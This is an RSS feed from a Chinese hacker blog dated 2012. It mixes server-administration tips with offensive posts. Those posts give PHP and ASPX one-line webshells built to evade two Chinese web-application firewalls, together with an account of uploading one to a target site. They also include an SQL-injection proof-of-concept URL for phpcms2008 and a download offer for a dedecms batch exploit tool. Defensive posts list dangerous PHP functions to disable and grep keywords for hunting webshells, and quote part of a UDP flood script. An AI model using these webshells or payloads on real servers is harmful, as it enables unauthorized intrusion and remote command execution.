<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>【黑客迷】</title>
	<atom:link href="http://www.hackerfans.com/feed" rel="self" type="application/rss+xml" />
	<link>http://www.hackerfans.com</link>
	<description>[Matrix]的技术博客：寻找幸福人生的0day-自由,免费,共享,突破</description>
	<lastBuildDate>Wed, 16 May 2012 14:48:57 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>过护卫神PHP一句话</title>
		<link>http://www.hackerfans.com/hacker-skills/%e8%bf%87%e6%8a%a4%e5%8d%ab%e7%a5%9ephp%e4%b8%80%e5%8f%a5%e8%af%9d.html</link>
		<comments>http://www.hackerfans.com/hacker-skills/%e8%bf%87%e6%8a%a4%e5%8d%ab%e7%a5%9ephp%e4%b8%80%e5%8f%a5%e8%af%9d.html#comments</comments>
		<pubDate>Wed, 16 May 2012 14:48:57 +0000</pubDate>
		<dc:creator>Matrix</dc:creator>
				<category><![CDATA[技术文章]]></category>

		<guid isPermaLink="false">http://www.hackerfans.com/?p=666</guid>
		<description><![CDATA[&#60;?php $a = str_replace(x,””,”axsxxsxexrxxt”); $a($_POST["c"]); ?&#62;]]></description>
		<wfw:commentRss>http://www.hackerfans.com/hacker-skills/%e8%bf%87%e6%8a%a4%e5%8d%ab%e7%a5%9ephp%e4%b8%80%e5%8f%a5%e8%af%9d.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>可突破安全狗的aspx一句话</title>
		<link>http://www.hackerfans.com/hacker-skills/%e5%8f%af%e7%aa%81%e7%a0%b4%e5%ae%89%e5%85%a8%e7%8b%97%e7%9a%84aspx%e4%b8%80%e5%8f%a5%e8%af%9d.html</link>
		<comments>http://www.hackerfans.com/hacker-skills/%e5%8f%af%e7%aa%81%e7%a0%b4%e5%ae%89%e5%85%a8%e7%8b%97%e7%9a%84aspx%e4%b8%80%e5%8f%a5%e8%af%9d.html#comments</comments>
		<pubDate>Wed, 16 May 2012 14:40:25 +0000</pubDate>
		<dc:creator>Matrix</dc:creator>
				<category><![CDATA[技术文章]]></category>

		<guid isPermaLink="false">http://www.hackerfans.com/?p=663</guid>
		<description><![CDATA[在看一个站的时候，发现服务器装了安全狗，刚开始利用IIS6的畸形解析一直被拦截，最后找到了不用畸形解析的办法，传了菜刀的一句话，却连不上，一直返回403，应该是被拦截，后来找了个相对比较生僻的一句话，终于上传并连接成功。 服务端一句话木马：   &#60;%@ Page Language="C#" ValidateRequest="false" %&#62; &#60;%try{ System.Reflection.Assembly.Load(Request.BinaryRead(int.Parse(Request.Cookies["你的密码"].Value))).CreateInstance("c", true, System.Reflection.BindingFlags.Default, null, new object[] { this }, null, null); } catch { }%&#62;   客户端截图： ]]></description>
		<wfw:commentRss>http://www.hackerfans.com/hacker-skills/%e5%8f%af%e7%aa%81%e7%a0%b4%e5%ae%89%e5%85%a8%e7%8b%97%e7%9a%84aspx%e4%b8%80%e5%8f%a5%e8%af%9d.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>phpcms2008企业黄页模块SQL注射漏洞</title>
		<link>http://www.hackerfans.com/hacker-skills/phpcms2008%e4%bc%81%e4%b8%9a%e9%bb%84%e9%a1%b5%e6%a8%a1%e5%9d%97sql%e6%b3%a8%e5%b0%84%e6%bc%8f%e6%b4%9e.html</link>
		<comments>http://www.hackerfans.com/hacker-skills/phpcms2008%e4%bc%81%e4%b8%9a%e9%bb%84%e9%a1%b5%e6%a8%a1%e5%9d%97sql%e6%b3%a8%e5%b0%84%e6%bc%8f%e6%b4%9e.html#comments</comments>
		<pubDate>Sun, 13 May 2012 01:42:27 +0000</pubDate>
		<dc:creator>Matrix</dc:creator>
				<category><![CDATA[技术文章]]></category>

		<guid isPermaLink="false">http://www.hackerfans.com/?p=659</guid>
		<description><![CDATA[phpcms 企业黄页模块由于参数未过滤存在SQL注射漏洞,允许攻击者执行SQL语句.0day是幌子,鸡肋是真的,由于影响比较小,不会造成什么危害,N久之前发现的鸡肋,发出来给博客滥竽充数啦. 漏洞证明： http://www.127.0.0.1.com/phpcms2008/phpcms/yp/product.php?catid=1&#38;areaname=555%27%20and%20extractvalue%281,concat%280x09,%28version%28%29%29%29%29%20and%20%271%27=%271]]></description>
		<wfw:commentRss>http://www.hackerfans.com/hacker-skills/phpcms2008%e4%bc%81%e4%b8%9a%e9%bb%84%e9%a1%b5%e6%a8%a1%e5%9d%97sql%e6%b3%a8%e5%b0%84%e6%bc%8f%e6%b4%9e.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>绕过护卫神云查杀系统的方法</title>
		<link>http://www.hackerfans.com/hacker-skills/%e7%bb%95%e8%bf%87%e6%8a%a4%e5%8d%ab%e7%a5%9e%e4%ba%91%e6%9f%a5%e6%9d%80%e7%b3%bb%e7%bb%9f%e7%9a%84%e6%96%b9%e6%b3%95.html</link>
		<comments>http://www.hackerfans.com/hacker-skills/%e7%bb%95%e8%bf%87%e6%8a%a4%e5%8d%ab%e7%a5%9e%e4%ba%91%e6%9f%a5%e6%9d%80%e7%b3%bb%e7%bb%9f%e7%9a%84%e6%96%b9%e6%b3%95.html#comments</comments>
		<pubDate>Fri, 11 May 2012 02:28:59 +0000</pubDate>
		<dc:creator>Matrix</dc:creator>
				<category><![CDATA[技术文章]]></category>

		<guid isPermaLink="false">http://www.hackerfans.com/?p=656</guid>
		<description><![CDATA[一句话换行 nono&#60; ?php eval ($_POST [1]) ?&#62; &#160;]]></description>
		<wfw:commentRss>http://www.hackerfans.com/hacker-skills/%e7%bb%95%e8%bf%87%e6%8a%a4%e5%8d%ab%e7%a5%9e%e4%ba%91%e6%9f%a5%e6%9d%80%e7%b3%bb%e7%bb%9f%e7%9a%84%e6%96%b9%e6%b3%95.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>完美解决帝国CMS“Table &#8216;empirecms.phome_ecms_&#8217; doesn&#8217;t exist”问题</title>
		<link>http://www.hackerfans.com/hacker-skills/php-mysql/diguocms-table-ecms-doesnt-exist.html</link>
		<comments>http://www.hackerfans.com/hacker-skills/php-mysql/diguocms-table-ecms-doesnt-exist.html#comments</comments>
		<pubDate>Thu, 10 May 2012 16:27:34 +0000</pubDate>
		<dc:creator>jack</dc:creator>
				<category><![CDATA[php+mysql]]></category>

		<guid isPermaLink="false">http://www.hackerfans.com/?p=652</guid>
		<description><![CDATA[生成内容页提示“Table '*.phome_ecms_' doesn't exist......update ***_ecms_ set havehtml=1 where id='' limit 1”   原因：你修改了栏目所属系统模型导致，因为栏目原来所属系统模型本身就有信息，而你改动了所属系统模型，使得这些信息无法找出所属栏目导致出错。 解决方案：修改栏目改回原来所属系统模型，然后进管理信息删除栏目所有的信息，最后再修改栏目改回所属新系统模型就可以解决。 最简单的办法：先备份数据库,然后执行下面2个SQL语句就可以了! 分别运行SQL如下： select id from phome_ecms_news where id not in (select id from phome_ecms_news_data_1) delete from phome_ecms_news where id not in (select id from phome_ecms_news_data_1)]]></description>
		<wfw:commentRss>http://www.hackerfans.com/hacker-skills/php-mysql/diguocms-table-ecms-doesnt-exist.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>netbeans7.1.2语言设置:中文换成英文</title>
		<link>http://www.hackerfans.com/hacker-skills/linux-vps/netbeans7-1-2%e8%af%ad%e8%a8%80%e8%ae%be%e7%bd%ae%e4%b8%ad%e6%96%87%e6%8d%a2%e6%88%90%e8%8b%b1%e6%96%87.html</link>
		<comments>http://www.hackerfans.com/hacker-skills/linux-vps/netbeans7-1-2%e8%af%ad%e8%a8%80%e8%ae%be%e7%bd%ae%e4%b8%ad%e6%96%87%e6%8d%a2%e6%88%90%e8%8b%b1%e6%96%87.html#comments</comments>
		<pubDate>Thu, 10 May 2012 14:23:25 +0000</pubDate>
		<dc:creator>jack</dc:creator>
				<category><![CDATA[linux+vps]]></category>

		<guid isPermaLink="false">http://www.hackerfans.com/?p=650</guid>
		<description><![CDATA[安装了Netbeans7.1.2，由于系统语言是中文，所以装完启动后就默认进入的中文界面，但是英文界面看惯了，中文界面用起来不习惯，查了一下有两种简单办法。 第一种方法 通过设置Netbeans的启动命令在后面加上参数"--locale en:US"，然后重启。 第二种方法 修改$NETBEANS_HOME/etc/netbeans.conf文件，将其中netbeans_default_options参数的配置值后面添加“-J-Duser.language=en -J-Duser.region=US”，然后重启。]]></description>
		<wfw:commentRss>http://www.hackerfans.com/hacker-skills/linux-vps/netbeans7-1-2%e8%af%ad%e8%a8%80%e8%ae%be%e7%bd%ae%e4%b8%ad%e6%96%87%e6%8d%a2%e6%88%90%e8%8b%b1%e6%96%87.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Kloxo no_ip_address解决方法：VPS 添加多IP设置</title>
		<link>http://www.hackerfans.com/hacker-skills/linux-vps/kloxo-no_ip_address.html</link>
		<comments>http://www.hackerfans.com/hacker-skills/linux-vps/kloxo-no_ip_address.html#comments</comments>
		<pubDate>Thu, 10 May 2012 07:32:59 +0000</pubDate>
		<dc:creator>jack</dc:creator>
				<category><![CDATA[linux+vps]]></category>

		<guid isPermaLink="false">http://www.hackerfans.com/?p=647</guid>
		<description><![CDATA[Linode VPS默认情况下是通过DHCP自动获取IP的，所以在安装Kloxo完成设置Kloxo的时候会出现no_ip_address的提示，这个时候就需要手动设置上IP，这样才能添加域名。 如果你设置Kloxo的时候出现no_ip_address的提示你可以按照下面步骤修改： 使用编辑器编辑（如果不会用编辑器，可以使用winscp）：/etc/sysconfig/network-scripts/ifcfg-eth0 # Configuration for eth0 DEVICE=eth0 BOOTPROTO=none # This line ensures that the interface will be brought up during boot. ONBOOT=yes # eth0 - This is the main IP address. # The address, netmask and gateway are all necessary. IPADDR=12.34.56.78   #你的IP地址 NETMASK=255.255.255.0  #子网掩码 GATEWAY=12.34.56.1 #网关 一般这样设置好，再执行命令：service network restart 重启网络就好了，如果还是不通，重启试一下。 添加第2个IP，可以创建 /etc/sysconfig/network-scripts/ifcfg-eth0:0 # [...]]]></description>
		<wfw:commentRss>http://www.hackerfans.com/hacker-skills/linux-vps/kloxo-no_ip_address.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>dedecms5.7 批量检测工具发布</title>
		<link>http://www.hackerfans.com/hacker-skills/dedecms5-7-%e6%89%b9%e9%87%8f%e6%a3%80%e6%b5%8b%e5%b7%a5%e5%85%b7%e5%8f%91%e5%b8%83.html</link>
		<comments>http://www.hackerfans.com/hacker-skills/dedecms5-7-%e6%89%b9%e9%87%8f%e6%a3%80%e6%b5%8b%e5%b7%a5%e5%85%b7%e5%8f%91%e5%b8%83.html#comments</comments>
		<pubDate>Sun, 06 May 2012 04:53:03 +0000</pubDate>
		<dc:creator>Matrix</dc:creator>
				<category><![CDATA[技术文章]]></category>

		<guid isPermaLink="false">http://www.hackerfans.com/?p=643</guid>
		<description><![CDATA[织梦CMS是集简单、健壮、灵活、开源几大特点的开源内容管理系统,是国内开源CMS的领先品牌，目前程序安装量已达七十万,超过六成的站点正在使用织梦CMS或基于织梦CMS... 漏洞出来这么久，没见利用工具。 屌丝们，今天它来了。 - &#160; 工具下载：http://dl.dbank.com/c0wgfeb6fc]]></description>
		<wfw:commentRss>http://www.hackerfans.com/hacker-skills/dedecms5-7-%e6%89%b9%e9%87%8f%e6%a3%80%e6%b5%8b%e5%b7%a5%e5%85%b7%e5%8f%91%e5%b8%83.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>test</title>
		<link>http://www.hackerfans.com/hacker-skills/test.html</link>
		<comments>http://www.hackerfans.com/hacker-skills/test.html#comments</comments>
		<pubDate>Sun, 06 May 2012 03:44:45 +0000</pubDate>
		<dc:creator>Matrix</dc:creator>
				<category><![CDATA[技术文章]]></category>

		<guid isPermaLink="false">http://www.hackerfans.com/?p=640</guid>
		<description><![CDATA[test]]></description>
		<wfw:commentRss>http://www.hackerfans.com/hacker-skills/test.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Discuz! X1.5礼品兑换插件BUG修复</title>
		<link>http://www.hackerfans.com/hacker-skills/php-mysql/discuz-gift-bug.html</link>
		<comments>http://www.hackerfans.com/hacker-skills/php-mysql/discuz-gift-bug.html#comments</comments>
		<pubDate>Fri, 09 Dec 2011 03:21:20 +0000</pubDate>
		<dc:creator>Matrix</dc:creator>
				<category><![CDATA[php+mysql]]></category>

		<guid isPermaLink="false">http://hackerfans.com/blog/?p=636</guid>
		<description><![CDATA[discuz1.5礼品兑换插件BUG修复。 打开source/class/class_upload.php，找到function get_target_dir和function check_dir_type，照着如下红色部分修改： if($type == 'eg_gift' &#124;&#124; $type == 'album' &#124;&#124; $type == 'forum' &#124;&#124; $type == 'portal' &#124;&#124; $type == 'paimai' &#124;&#124; $type == 'category') { $subdir1 = date('Ym'); $subdir2 = date('d'); $subdir = $subdir1.'/'.$subdir2.'/'; } elseif($type == 'group' &#124;&#124; $type == 'common') { $subdir = $subdir1 = substr(md5($extid), 0, 2).'/'; } $check_exists [...]]]></description>
		<wfw:commentRss>http://www.hackerfans.com/hacker-skills/php-mysql/discuz-gift-bug.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>seo技巧：用css控制网站重要信息优先显示</title>
		<link>http://www.hackerfans.com/hacker-skills/div-css/seo-css-hack-position-class.html</link>
		<comments>http://www.hackerfans.com/hacker-skills/div-css/seo-css-hack-position-class.html#comments</comments>
		<pubDate>Sat, 26 Nov 2011 11:19:02 +0000</pubDate>
		<dc:creator>Matrix</dc:creator>
				<category><![CDATA[div+css]]></category>

		<guid isPermaLink="false">http://hackerfans.com/blog/?p=633</guid>
		<description><![CDATA[运营网站的时候，seo是必不可少的一个环节，所谓seo就是用最优的方式让你的网站能在搜索引擎上面获得最优的排名。当然，最优的方式有多种多样，今天我们来说一个小技巧。 试想一下，如果你是搜索引擎，对于一个网站你是如何去判断他的优劣呢？ 答案很简单，看上去美观华丽? NO。要知道搜索引擎不是人，他不懂欣赏，只懂代码哦。所以简洁易懂的代码是seo最基础的工作。 今天我们讲讲如何把重要的信息快速的呈现在搜索引擎面前。 拿我们运营的一个项目来说，网站刚上线，需要让搜索引擎快速收录，除了外链，就是要用最直接的方式告诉搜索引擎这个网站的主旨。 好吧，看下面的代码 &#60;head&#62;...&#60;/head&#62; &#60;body&#62; &#60;div id="header"&#62;&#60;/div&#62; &#60;/body&#62; 运营网站的时候，seo是必不可少的一个环节，所谓seo就是用最优的方式让你的网站能在搜索引擎上面获得最优的排名。当然，最优的方式有多种多样，今天我们来说一个小技巧。试想一下，如果你是搜索引擎，对于一个网站你是如何去判断他的优劣呢？答案很简单，看上去美观华丽? NO。要知道搜索引擎不是人，他不懂欣赏，只懂代码哦。所以简洁易懂的代码是seo最基础的工作。今天我们讲讲如何把重要的信息快速的呈现在搜索引擎面前。拿我们运营的一个项目来说，网站刚上线，需要让搜索引擎快速收录，除了外链，就是要用最直接的方式告诉搜索引擎这个网站的主旨。好吧，看下面的代码 &#60;head&#62;...&#60;/head&#62; &#60;body&#62; &#60;div id="header"&#62;网站头部&#60;/div&#62; &#60;div id="container"&#62;网站内容部分&#60;/div&#62; &#60;div id="footer"&#62;网站尾部&#60;/div&#62; &#60;/body&#62; 这是一个通用结构，一般网站都分为这三个部分。那么，如何才能告诉搜索引擎我们的网站是做什么的呢？很简单,在页面开头加入： &#60;div id="summary"&#62; &#60;div class="site-title"&#62;&#60;h1&#62;企信网&#124;企业信用网&#60;/h1&#62;&#60;/div&#62; &#60;div class="site-description"&#62;企信网是中国最大最专业的企业资料查询、网络营销平台。为广大需要进行网络营销的中小型企业提供企业营销型网站建设、运营托管、企业认证等服务。 企信网提供的服务有： 平台营销型网站建设、定制型营销网站建设、专业行业类网站建设（教育型、工业型、贸易型、政务型等）、企业信用查询、企业信誉查询、企业资质查询、企业工商注册信息查询，为您提供经过认证的企业信息，防止您在网络贸易中上当受骗。 &#60;/div&#62; &#60;/div&#62; 这样，整个代码段就变成： &#60;head&#62;...&#60;/head&#62; &#60;body&#62; &#60;div id="summary"&#62; &#60;div class="site-title"&#62;&#60;h1&#62;企信网&#124;企业信用网&#60;/h1&#62;&#60;/div&#62; &#60;div class="site-description"&#62;企信网是中国最大最专业的企业资料查询、网络营销平台。为广大需要进行网络营销的中小型企业提供企业营销型网站建设、运营托管、企业认证等服务。 企信网提供的服务有： 平台营销型网站建设、定制型营销网站建设、专业行业类网站建设（教育型、工业型、贸易型、政务型等）、企业信用查询、企业信誉查询、企业资质查询、企业工商注册信息查询，为您提供经过认证的企业信息，防止您在网络贸易中上当受骗。 &#60;/div&#62; &#60;/div&#62; &#60;div id="header"&#62;网站头部&#60;/div&#62; &#60;div id="container"&#62;网站内容部分&#60;/div&#62; &#60;div id="footer"&#62;网站尾部&#60;/div&#62; &#60;/body&#62; 简单吧？但是打开网页一看，我的妈，在顶部出现这么多字，乱七八糟的好恶心.... [...]]]></description>
		<wfw:commentRss>http://www.hackerfans.com/hacker-skills/div-css/seo-css-hack-position-class.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>linux压缩解压缩命令打包mysql数据库</title>
		<link>http://www.hackerfans.com/hacker-skills/linux-vps/backup-mysql.html</link>
		<comments>http://www.hackerfans.com/hacker-skills/linux-vps/backup-mysql.html#comments</comments>
		<pubDate>Fri, 25 Nov 2011 16:01:48 +0000</pubDate>
		<dc:creator>Matrix</dc:creator>
				<category><![CDATA[linux+vps]]></category>

		<guid isPermaLink="false">http://hackerfans.com/blog/?p=631</guid>
		<description><![CDATA[mysql路径：/var/lib/mysql/ 打包mysql数据库命令：tar -zcvf /home/kehu/user_danbao_com20111125.tar.gz /home/danbao 解压缩mysql数据库包：tar -xvf /root/baojiesql.tar]]></description>
		<wfw:commentRss>http://www.hackerfans.com/hacker-skills/linux-vps/backup-mysql.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>一些需要禁用的PHP危险函数</title>
		<link>http://www.hackerfans.com/hacker-skills/linux-vps/php-class-need-to-disable.html</link>
		<comments>http://www.hackerfans.com/hacker-skills/linux-vps/php-class-need-to-disable.html#comments</comments>
		<pubDate>Fri, 25 Nov 2011 06:51:26 +0000</pubDate>
		<dc:creator>Matrix</dc:creator>
				<category><![CDATA[linux+vps]]></category>

		<guid isPermaLink="false">http://hackerfans.com/blog/?p=629</guid>
		<description><![CDATA[phpinfo() 功能描述：输出 PHP 环境信息以及相关的模块、WEB 环境等信息。 危险等级：中 passthru() 功能描述：允许执行一个外部程序并回显输出，类似于 exec()。 危险等级：高 exec() 功能描述：允许执行一个外部程序（如 UNIX Shell 或 CMD 命令等）。 危险等级：高 system() 功能描述：允许执行一个外部程序并回显输出，类似于 passthru()。 危险等级：高 chroot() 功能描述：可改变当前 PHP 进程的工作根目录，仅当系统支持 CLI 模式 PHP 时才能工作，且该函数不适用于 Windows 系统。 危险等级：高 scandir() 功能描述：列出指定路径中的文件和目录。 危险等级：中 chgrp() 功能描述：改变文件或目录所属的用户组。 危险等级：高 chown() 功能描述：改变文件或目录的所有者。 危险等级：高 shell_exec() 功能描述：通过 Shell 执行命令，并将执行结果作为字符串返回。 危险等级：高 proc_open() 功能描述：执行一个命令并打开文件指针用于读取以及写入。 危险等级：高 proc_get_status() 功能描述：获取使用 proc_open() 所打开进程的信息。 危险等级：高 [...]]]></description>
		<wfw:commentRss>http://www.hackerfans.com/hacker-skills/linux-vps/php-class-need-to-disable.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>如何查找Linux服务器上的webShell后门？</title>
		<link>http://www.hackerfans.com/hacker-skills/linux-vps/linux-how-to-find-webshell.html</link>
		<comments>http://www.hackerfans.com/hacker-skills/linux-vps/linux-how-to-find-webshell.html#comments</comments>
		<pubDate>Fri, 25 Nov 2011 06:49:03 +0000</pubDate>
		<dc:creator>Matrix</dc:creator>
				<category><![CDATA[linux+vps]]></category>

		<guid isPermaLink="false">http://hackerfans.com/blog/?p=627</guid>
		<description><![CDATA[服务器被挂马或被黑的朋友应该知道,黑客入侵web服务器的第一目标是往服务器上上传一个webshell,有了webshell黑客就可以干更多的事情,网站被挂马后很多人会束手无策,无从查起,其实并不复杂,这里我将以php环境为例讲几个小技巧,希望对大家有帮助。 先讲一下思路，如果服务器上被上传了webshell那么我们肯定能够查到蛛丝马迹，比如php文件的时间，如果我们可以查找最后一次网站代码更新以后的所有php文件，方法如下： 假设最后更新是10天前我们可以查找10天内生成的可以php文件: find /var/webroot -name "*.php" -mtime -10 命令说明： /var/webroot为网站根目录 -name "*.php"为查找所有php文件 -time -10为截止到现在10天 如果文件更新时间不确定，我们可以通过查找关键字的方法来确定，要想查的准确需要熟悉webshell常用的关键字，我这里列出一些常用的，其他的大家可以从网收集一些webshell，总结自己的关键字，括号里面我总结的一些关键字（eval,shell_exec,passthru,popen,system）查找方法如下： find /var/webroot -name "*.php" &#124;xargs grep "eval" &#124;more find /var/webroot -name "*.php" &#124;xargs grep "shell_exec" &#124;more find /var/webroot -name "*.php" &#124;xargs grep "passthru" &#124;more 当然你还可以导出到文件，下载下来慢慢分析： find /home -name "*.php"&#124;xargs grep "fsockopen"&#124;more >test.log 这里我就不一一罗列了，如果有自己总结的关键字直接替换就可以，当然并不是所有的找出的文件都是webshell需要自己做一下判断，判断的方法也简单，直接从浏览器访问一下这个文件或者和自己找的一些webshell比较一下，看得多了，基本上一眼就可以判断是不是webshell文件。]]></description>
		<wfw:commentRss>http://www.hackerfans.com/hacker-skills/linux-vps/linux-how-to-find-webshell.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PHP-DDOS脚本漏洞的解决与防范</title>
		<link>http://www.hackerfans.com/hacker-skills/linux-vps/php-dos.html</link>
		<comments>http://www.hackerfans.com/hacker-skills/linux-vps/php-dos.html#comments</comments>
		<pubDate>Fri, 25 Nov 2011 06:45:10 +0000</pubDate>
		<dc:creator>Matrix</dc:creator>
				<category><![CDATA[linux+vps]]></category>

		<guid isPermaLink="false">http://hackerfans.com/blog/?p=625</guid>
		<description><![CDATA[for($i=0;$i $max_time or $exec_time != 18){ break; } $fp = fsockopen("udp://$host", $port, $errno, $errstr, 5); if($fp){ fwrite($fp, $out); fclose($fp); } } 最近服务器几个网站被入侵了，被人挂上了php-ddos脚本，不停的往外发UDP数据包，刚开始一直找不到原因，导致这两个月白白消耗了500多G的流量。。。后来才发现是因为服务器上几个dedecms的企业站被入侵后植入了ddos脚本导致的问题。 解决方案： 编辑/ect/php.ini ，禁用 fsockopen 函数，及屏蔽本机的UDP端口。 1、禁用函数： vi编辑器打开后查找到 disable_functions ，添加需禁用的函数名，如下例： passthru,exec,system,chroot,scandir,chgrp,chown,shell_exec,proc_open,proc_get_status,ini_alter,ini_alter,ini_restore,dl,pfsockopen,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,fsocket,fsockopen 重启apache服务后生效。 2、屏蔽UDP端口 iptables -A INPUT -p udp --sport 5000:65535 -j DROP 附如何快速找到服务器上被入侵的网站? 你可以检测流量，发现异常的时候，去下载所有的网站日志文件到本地后打开, 查找里面是否有类似这样的记录: 2011-04-26 06:37:28 58.255.112.112 26817 98.126.247.13 80 HTTP/1.1 GET /xxxx/xxxxxx.php?host=122.224.32.100&#038;port=445&#038;time=120 [...]]]></description>
		<wfw:commentRss>http://www.hackerfans.com/hacker-skills/linux-vps/php-dos.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>apache重启出现错误一则</title>
		<link>http://www.hackerfans.com/hacker-skills/linux-vps/apache-servername-error.html</link>
		<comments>http://www.hackerfans.com/hacker-skills/linux-vps/apache-servername-error.html#comments</comments>
		<pubDate>Thu, 24 Nov 2011 12:55:18 +0000</pubDate>
		<dc:creator>Matrix</dc:creator>
				<category><![CDATA[linux+vps]]></category>

		<guid isPermaLink="false">http://hackerfans.com/blog/?p=622</guid>
		<description><![CDATA[重新启动apache服务时，出现如下错误信息： httpd: Could not reliably determine the server's fully qualified domain name, using 127.0.0.1 for ServerName 解决办法如下： 登录ssh，编辑apache配置文件httpd.conf，将httpd.conf文件中的一行： # ServerName www.example.com:80。 去掉“#”，改成以下形式： ServerName localhost:80]]></description>
		<wfw:commentRss>http://www.hackerfans.com/hacker-skills/linux-vps/apache-servername-error.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>用mod_cband实现apache流量控制监测</title>
		<link>http://www.hackerfans.com/hacker-skills/linux-vps/mod_cband-apache.html</link>
		<comments>http://www.hackerfans.com/hacker-skills/linux-vps/mod_cband-apache.html#comments</comments>
		<pubDate>Thu, 24 Nov 2011 11:54:13 +0000</pubDate>
		<dc:creator>Matrix</dc:creator>
				<category><![CDATA[linux+vps]]></category>

		<guid isPermaLink="false">http://hackerfans.com/blog/?p=619</guid>
		<description><![CDATA[最近这两个服务器流量不正常，前几个才50多G的流量，这俩月居然涨到了500G！前几天服务器差点被管理员停掉，仔细观察了下并不是有人在ddos，查看日志可能是由于部分网站被盗链导致的，于是乎搞了个防盗链脚本放在每个网站的目录下，情况稍微有所好转。 后来想了下，这样不行，得有个长治久安的办法才是，于是乎就开始找linux上可以用的流量控制软件，刚开始想用iptable防火墙对每个IP进行包过滤，后来一想这样会导致速度太慢了，google了一下，找到了mod_cband这个好东西。 简介：mod_cband是Apache2的一个模块，其功能是限制用户和虚拟主机的带宽。 官方网站：http://codee.pl/cband.html 一、安装mod_cband #wget http://codee.pl/download/cband/mod-cband-0.9.7.5.tgz #tar zxvf mod-cband-0.9.7.5.tgz #cd mod-cband-0.9.7.5 #./configure --with-apxs=/usr/local/apache/bin/apxs 如果不能执行的话，可能是你的服务器没有安装apxs2工具包 #make &#038;&#038; make install #ls /usr/local/apache/modules/ mod_cband.so #more /usr/local/apache/conf/httpd.conf LoadModule cband_module modules/mod_cband.so 二、配置mod_cband 打开Apache配置文件，在配置文件末尾加入如下内容，如果有虚拟主机，可将其加入到虚拟主机配置内容中 #vi /usr/local/apache/conf/httpd.conf CBandLimit 100M //限制本节点总访问带宽为100Mb CBandSpeed 1024 10 30 //限制本节点的最大连接速度为1024kb，最大并发处理10个请求和30个连接数 CBandRemoteSpeed 20kb/s 5 3 //限制一个用户最大连接本节点为20kb，最大5个并发和3个连接数 CBandPeriod 4W //多久后对本节点限制进行重设，W=week SetHandler cband-status //开启mod_cband全局检测功能，可通过http://servername/cband-status 进行查看 SetHandler cband-status-me //开启mod_cband单一检测功能，可通过http://servername/cband-status-me进行查看 三、测试 [...]]]></description>
		<wfw:commentRss>http://www.hackerfans.com/hacker-skills/linux-vps/mod_cband-apache.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>apache服务器启用gzip的方法</title>
		<link>http://www.hackerfans.com/hacker-skills/linux-vps/apache-gzip.html</link>
		<comments>http://www.hackerfans.com/hacker-skills/linux-vps/apache-gzip.html#comments</comments>
		<pubDate>Thu, 24 Nov 2011 05:53:20 +0000</pubDate>
		<dc:creator>Matrix</dc:creator>
				<category><![CDATA[linux+vps]]></category>

		<guid isPermaLink="false">http://hackerfans.com/blog/?p=617</guid>
		<description><![CDATA[1、vi /etc/httpd/conf/httpd.conf 2、查找LoadModule (/LoadModule)，加入一句（如果已有请不用修改） LoadModule deflate_module modules/mod_deflate.so 3、添加以下配置项目，添加在任何部位都OK # 压缩等级 9 DeflateCompressionLevel 9 # 压缩类型 html、xml、php、css、js SetOutputFilter DEFLATE AddOutputFilterByType DEFLATE text/html text/plain text/xml application/x-javascript application/x-httpd-php AddOutputFilter DEFLATE js css 4、重启apache web服务器：service httpd restart]]></description>
		<wfw:commentRss>http://www.hackerfans.com/hacker-skills/linux-vps/apache-gzip.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Linux查找文件常用命令集锦</title>
		<link>http://www.hackerfans.com/hacker-skills/linux-vps/linux-find-command.html</link>
		<comments>http://www.hackerfans.com/hacker-skills/linux-vps/linux-find-command.html#comments</comments>
		<pubDate>Wed, 23 Nov 2011 16:35:51 +0000</pubDate>
		<dc:creator>Matrix</dc:creator>
				<category><![CDATA[linux+vps]]></category>

		<guid isPermaLink="false">http://hackerfans.com/blog/?p=614</guid>
